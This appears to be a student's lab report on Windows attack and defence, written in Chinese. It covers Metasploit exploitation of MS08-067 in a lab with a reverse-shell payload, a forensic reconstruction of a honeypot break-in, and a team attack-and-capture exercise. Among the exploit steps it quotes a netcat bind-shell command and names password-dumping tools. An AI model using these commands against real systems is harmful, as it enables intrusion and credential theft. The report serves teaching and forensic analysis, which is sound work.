第6次作业 实践六 Windows操作系统安全攻防

实践六 Windows操作系统安全攻防

一、实验目的

  1. 掌握 Metasploit 框架在 Windows 远程渗透测试中的基本使用方法。
  2. 理解 MS08-067 漏洞的利用流程及远程获取主机控制权的基本思路。
  3. 学会结合抓包与取证分析方法,还原一次成功的 NT 系统入侵过程。
  4. 从攻防两个视角理解 Windows 系统远程渗透攻击与流量分析方法。
  5. 提升网络安全实验中的动手实践、问题分析与总结归纳能力。

二、实验内容

本次实验共包含以下三个部分:

(一)动手实践:Metasploit Windows Attacker

任务: 使用 Metasploit 软件进行 Windows 远程渗透测试实验。

具体任务内容: 使用 Windows Attacker/BT4 攻击机尝试对 Windows Metasploitable 靶机上的 MS08-067 漏洞 进行远程渗透攻击,获取目标主机的访问权限。

(二)取证分析实践:解码一次成功的 NT 系统破解攻击

已知来自 212.116.251.162 的攻击者成功攻陷了一台由 rfp 部署的蜜罐主机 172.16.1.106(主机名为 lab.wiretrip.net),要求提取并分析攻击的全部过程,主要回答以下问题:

  1. 攻击者使用了什么破解工具进行攻击;
  2. 攻击者如何使用这个破解工具进入并控制系统;
  3. 攻击者获得系统访问权限后做了什么;
  4. 我们如何防止这样的攻击;
  5. 攻击者是否察觉目标是一台蜜罐主机,如果是,原因是什么。

(三)团队对抗实践:Windows 系统远程渗透攻击和分析

攻方使用 Metasploit 选择漏洞进行攻击,获取目标主机控制权;防守方使用 Wireshark 监听网络数据包,对攻击过程进行分析并提取关键信息。


三、实验环境

1. 动手实践实验环境

虚拟机 IP 地址
Kali 192.168.200.6
Win2k 192.168.200.7

2. 团队对抗实验环境

项目 内容
攻击机 Kali Linux
靶机 Windows 7 专业版
网络环境 同一局域网,桥接模式
攻击机 IP 192.168.1.109
靶机 IP 192.168.1.111
选用漏洞 MS08-067 Microsoft Server 服务远程栈溢出漏洞

四、实验过程

(一)Metasploit 渗透攻击实践

1. 启动 Metasploit

打开 Kali,输入以下命令启动 Metasploit:

msfconsole

image

2. 搜索并加载 MS08-067 漏洞模块

搜索漏洞模块:

search ms08-067

image

图中标红框表示核心模块。

加载漏洞利用模块:

use exploit/windows/smb/ms08_067_netapi

image

3. 设置 Payload

选择攻击载荷:

set PAYLOAD generic/shell_reverse_tcp

image

4. 设置攻击参数

设置靶机与攻击机 IP:

set RHOST 192.168.200.7
set LHOST 192.168.200.6

image

检查配置是否正确:

show options

image

5. 发起渗透攻击

执行攻击:

exploit

image

6. 验证控制权

攻击成功后,执行以下命令验证是否已获取靶机权限:

sysinfo
ipconfig
mkdir test_attack

image

说明如下:

  • sysinfo:查看靶机系统信息;
  • ipconfig:查看靶机网络配置信息;
  • mkdir test_attack:在靶机上创建测试文件夹,用于验证控制是否成功。

回到 Windows 靶机,打开 C:\WINNT\system32,若能看到 test_attack 文件夹,则说明控制成功。
image


(二)取证分析实践

1. 攻击者使用了什么破解工具进行攻击

打开实验要求提供的流量文件,在 Wireshark 中使用如下过滤条件:

ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106 && http

image

过滤掉无关数据包后,重点分析攻击相关流量。

定位到第 117 号数据包后,打开 TCP 数据流,可以看到存在 Unicode 字符解析异常。
image
image
继续分析第 149 号数据包,发现请求内容中出现 Shell 语句和明显的 RDS 漏洞利用特征。
image
image

由此可判断:

攻击者使用了 msadc2.pl 工具,向靶机的 /msadc/msadcs.dll 发送恶意请求,利用 MS02-065 RDS 漏洞 绕过权限验证,在靶机上获得初始命令执行权限。

2. 攻击者如何使用该工具进入并控制系统

继续对 tcp.stream eq 109 的数据流进行筛选,定位到第 1233 号数据包,并进行 TCP Stream 跟踪分析。
image

分析结果表明,攻击者利用 IIS 的 MSADC/RDS 漏洞/msadc/msadcs.dll)结合 Unicode 目录遍历漏洞(%C0%AF),绕过 IIS 对路径访问的限制,直接调用系统命令解释程序 cmd1.exe,并执行如下命令:

nc.exe -l -p 6969 -e cmd1.exe

该命令的作用是:

  • 在靶机本地监听 6969 端口;
  • 将端口接收到的连接重定向给 cmd1.exe
  • 从而建立远程交互式命令通道。

因此,攻击者先通过 Web 漏洞获得命令执行能力,再通过 nc.exe 在靶机上建立后门监听,实现对目标系统的进一步控制。

截图插入位置:

  • tcp.stream eq 109 过滤结果
  • 1233 号数据包 TCP Stream 内容
  • nc.exe -l -p 6969 -e cmd1.exe 相关证据截图

3. 攻击者获得系统访问权限后做了什么

tcp.stream eq 106 的 TCP 数据流继续跟踪分析,可以发现攻击者通过 FTP 会话将多个工具下载到蜜罐主机,包括:

  • nc.exe:用于建立命令交互或反向 Shell;
  • pdump.exe:用于获取口令信息;
  • samdump.dll:用于配合进行密码提取或破解。
    image
    image

由此可知,攻击者在获得初始控制权限后,进一步通过 FTP 传输恶意工具,并在系统命令行中执行这些程序,完成系统控制与密码窃取相关操作。

直至数据包编号 1106,攻击者完成 FTP 登录并成功下载所需文件。
image

4. 如何防止这样的攻击

针对本次攻击过程,可以从以下几个方面进行防范:

  1. 及时更新补丁
    目标系统存在已知高危漏洞,是攻击成功的根本原因。及时安装系统与服务补丁可有效降低风险。

  2. 关闭不必要的高危服务
    若不需要使用 IIS、RDS、MSADC 等组件,应及时关闭或卸载,减少攻击面。

  3. 限制危险程序调用权限
    对 Web 服务权限进行严格限制,防止其直接调用 cmd.exenc.exe 等系统程序。

  4. 加强边界访问控制
    通过防火墙、ACL、入侵防御系统等手段限制外部主机访问敏感服务与高危端口。

  5. 加强日志审计与流量监控
    对异常 HTTP 请求、目录遍历、可疑 FTP 行为、异常监听端口等进行持续监控和告警。

  6. 部署主机安全防护措施
    采用杀毒软件、EDR、主机入侵检测等工具,提高对恶意文件、后门程序和密码窃取行为的检测能力。

5. 攻击者是否察觉目标是一台蜜罐主机

在过滤框中输入:

tcp.stream eq 178

然后在查找窗口中输入:

honeypot

image

可发现相关证据,说明攻击者已经意识到目标是一台蜜罐主机。

结论

攻击者已经警觉到目标是一台蜜罐主机。

理由分析

  1. 直接证据
    攻击者在获得系统控制权限后,创建了 rfp.txt 文件,并写入如下内容:

    best honeypot i've seen till now :)
    

    这表明攻击者明确识别出了该主机是蜜罐,并知道其部署者与 rfp 有关。

  2. 行为特征异常
    攻击者未进行持续隐藏、横向扩展或清理痕迹,而是主动留下带有嘲讽意味的标记文件,这更像是对蜜罐的“识别打卡”,而非真实业务目标上的隐蔽渗透。

  3. 细节高度匹配
    文件名 rfp.txt 与题目中“由 rfp 部署的蜜罐”的背景信息高度吻合,说明攻击者并非误判,而是明确识别了目标身份。


(三)团队对抗实践:Windows 系统远程渗透攻击和分析

1. 实验基础信息

(1)团队分工

  • 攻方: 负责 Metasploit 漏洞渗透,获取 Windows 靶机控制权
    攻方同学信息: 20252809 王铖浩
  • 防守方: 负责 Wireshark 抓包监听,分析攻击流量并还原攻击过程
    防守方同学信息: 20252812 薛千城

(2)实验环境

  • 攻击机:Kali Linux(内置 Metasploit 框架)
  • 靶机:Windows 7 专业版
  • 网络环境:攻击机与靶机位于同一局域网,需要启用桥接模式

(3)IP 地址

  • 攻击机 IP:192.168.1.109
  • 靶机 IP:192.168.1.111

(4)选用漏洞

  • 漏洞名称:MS08-067 Microsoft Server 服务远程栈溢出漏洞

2. 攻击方实验过程

(1)测试网络连通性

首先测试两台虚拟机是否能够互相通信,可使用 ping 命令验证网络连通性。
image

(2)启动 Metasploit 框架

在 Kali 终端中输入:

msfconsole

image

(3)搜索并选择漏洞模块

search ms08-067
use exploit/windows/smb/ms08_067_netapi

image

(4)配置攻击载荷与参数

set PAYLOAD generic/shell_reverse_tcp
set RHOST 192.168.1.111
set LHOST 192.168.1.109
show options

image

(5)执行攻击

exploit

执行后成功获取靶机 Shell。
image

(6)验证靶机控制权

攻击成功后,在靶机上创建名为 20252809.txt 的文件并写入字符串,用于验证已成功获得远程系统操作权限。
image

3. 防守方抓包监听与分析

防守方启动 Wireshark 抓包,并将监听后的 .pcap 文件保存下来,随后在本地 Wireshark 中进行分析。
image

(1)TCP 三次握手分析

image

抓包结果如下表所示:

源 IP 目的 IP 信息 含义
192.168.1.109(攻方) 192.168.1.111(靶机) [SYN] 攻方向靶机 445 端口发起连接请求
192.168.1.111(靶机) 192.168.1.109(攻方) [SYN, ACK] 靶机回应,同意建立连接
192.168.1.109(攻方) 192.168.1.111(靶机) [ACK] 攻方确认,连接正式建立

可见,攻击机成功向靶机的 445 端口发起连接,并完成 TCP 三次握手,为后续 SMB 协议通信奠定基础。

(2)SMB 会话建立分析

在 TCP 建连成功后,抓包中可继续看到 SMB 协议相关通信,包括:

  • Negotiate Protocol
  • Session Setup

这说明攻方正在与靶机 SMB 服务建立会话,为发送畸形 NetAPI 请求、触发 MS08-067 漏洞做准备。

(3)反向 Shell 流量分析

为了寻找利用成功后的控制通道,可使用如下过滤规则:

tcp.port == 4444

image

过滤后可观察到:

  • 靶机 192.168.1.111 向攻击机 192.168.1.1094444 端口主动发起 TCP 连接;
  • 双方完成三次握手;
  • 后续数据包带有 PSH, ACK 标志,说明存在明文交互数据。

这表明 Metasploit 的载荷已经成功触发,靶机向攻击机回连,并建立反向 Shell 通道,攻方已成功获得靶机系统权限。

(4)TCP 流跟踪分析

随意打开一个带有 PSH, ACK 标志的数据包,并执行 TCP Stream 跟踪,可看到攻方在靶机上执行的一系列命令与回显内容,从而完整还原其获取控制权后的操作过程,证明实验攻击成功。
image


五、学习中遇到的问题及解决方法

1. 问题一:对 Metasploit 的使用流程不够熟悉

在实验开始时,我对 Metasploit 的模块选择、参数设置和会话操作还不够熟练,导致一开始攻击没有成功。

解决方案: 通过查阅实验资料和反复操作熟悉工具使用方法。
我结合实验指导书和课堂内容,重点掌握了 usesetshow optionsexploitsessions 等常用命令,并通过多次练习逐步熟悉了漏洞利用的基本流程。

2. 问题二:实验环境配置容易出错,影响攻击结果

攻击机和靶机之间的网络连接、IP 地址配置以及服务开启情况都会直接影响实验是否成功,实验中曾因环境配置问题导致无法正常连接目标主机。

解决方案: 先检查网络环境,再进行漏洞利用操作。
在后续实验中,我先确认攻击机和靶机的网络模式是否正确,测试双方连通性,并检查目标主机相关服务状态,排除环境问题后再进行攻击,提高了实验成功率。

3. 问题三:取证分析时难以快速还原完整攻击过程

在分析攻击者入侵过程时,面对较多的日志和数据包信息,起初难以准确找出关键线索并梳理出完整的攻击过程。

解决方案: 采用时间线分析方法提取关键信息。
我通过按照时间顺序整理攻击源 IP、目标端口、登录行为和异常命令等关键内容,将分散的信息进行关联分析,最终较清晰地还原了攻击过程。


六、实验心得

通过本次实验,我对 Windows 系统远程渗透攻击与安全分析有了更直观的认识。以前对 MS08-067 漏洞和 Metasploit 的了解更多停留在理论层面,而这次通过实际操作,我真正理解了漏洞利用并不是简单地运行工具,而是需要结合目标环境、网络连通性和参数配置来完成,这让我对渗透测试的实际过程有了更深的体会。

在取证分析实验中,我进一步认识到攻击行为并不是“无痕”的。无论是攻击者的扫描、入侵,还是后续控制行为,都会在网络流量、系统日志或相关痕迹中留下线索。通过对这些信息的分析,可以逐步还原攻击过程。这让我明白了网络安全不仅要会“攻”,更要懂“防”和“查”,只有从攻防两方面理解问题,才能真正提高安全意识和分析能力。

另外,这次实验也让我认识到基础安全防护的重要性。很多攻击之所以能够成功,并不是因为攻击手段特别复杂,而是因为目标系统存在未及时修补的漏洞或安全配置不完善的问题。因此,在今后的学习中,我不仅要继续掌握常见攻击技术,也要更加重视漏洞修补、日志审计、流量监测等防御措施的学习。

总的来说,这次实验增强了我的动手实践能力,也加深了我对网络攻防对抗过程的理解,让我对网络安全课程的学习有了更明确的方向。


七、致谢

感谢王老师在本次实验中的指导与帮助,使我能够较系统地完成 Windows 远程渗透攻击、取证分析以及团队攻防对抗等实验内容。通过教师及学习通的视频的讲解,我对 Metasploit 的使用方法、漏洞利用流程以及网络数据分析思路有了更加清晰的认识。

同时,感谢同组同学薛千城在实验过程中的配合与交流。在实验环境搭建、工具使用和结果分析过程中,大家相互讨论、共同解决问题,使我顺利完成了本次实验任务,也让我进一步体会到团队协作在网络安全实践中的重要性。


八、参考资料

[1] Rapid7. Metasploit Documentation
链接:https://docs.rapid7.com/metasploit/

[2] Rapid7. Metasploit Framework Overview
链接:https://docs.rapid7.com/metasploit/msf-overview/

[3] Microsoft. Microsoft Security Bulletin MS08-067 - Critical
链接:https://learn.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067

[4] Wireshark Foundation. Wireshark User’s Guide
链接:https://www.wireshark.org/docs/wsug_html_chunked/

[5] Wireshark Foundation. Wireshark User’s Guide PDF
链接:https://www.wireshark.org/download/docs/Wireshark User's Guide.pdf

[6] Kali Linux Documentation. Starting Metasploit Framework in Kali Linux
链接:https://www.kali.org/docs/tools/starting-metasploit-framework-in-kali/

[7] Kali Linux Tools. metasploit-framework
链接:https://www.kali.org/tools/metasploit-framework/

posted @ 2026-04-20 15:17  dky王铖浩  阅读(19)  评论(0)    收藏  举报